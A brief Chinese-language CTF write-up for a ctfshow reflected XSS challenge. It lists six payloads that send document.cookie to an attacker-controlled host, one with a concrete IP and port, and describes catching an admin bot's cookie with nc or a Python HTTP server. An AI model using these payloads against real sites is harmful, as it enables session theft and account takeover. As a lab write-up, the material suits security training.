反射型xss

需要传入payload,可以发现script语句已经嵌入到了页面中,触发弹窗:(自己插自己

xss-ctfshow - 图1

paload:

  1. <script>window.open('http://ip:port/'+document.cookie)</script><script>window.location.href='http://ip:port/'+document.cookie</script>
  2. <script>location.href='http://116.62.127.33:8888/'+document.cookie</script>
  3. <input onfocus="window.open('http://ip:port/'+document.cookie)" autofocus>
  4. <svg onload="window.open('http://ip:port/'+document.cookie)">
  5. <iframe onload="window.open('http://ip:port/'+document.cookie)"></iframe>
  6. <body onload="window.open('http://ip:port/'+document.cookie)">

之后nc 开一个端口来接受cookie就可以了,这里为啥会是管理员的cookie,好像是平台有跳转时就会有机器人管理员访问,或者直接python3 -m http.server 8888 开一个服务也行

xss-ctfshow - 图2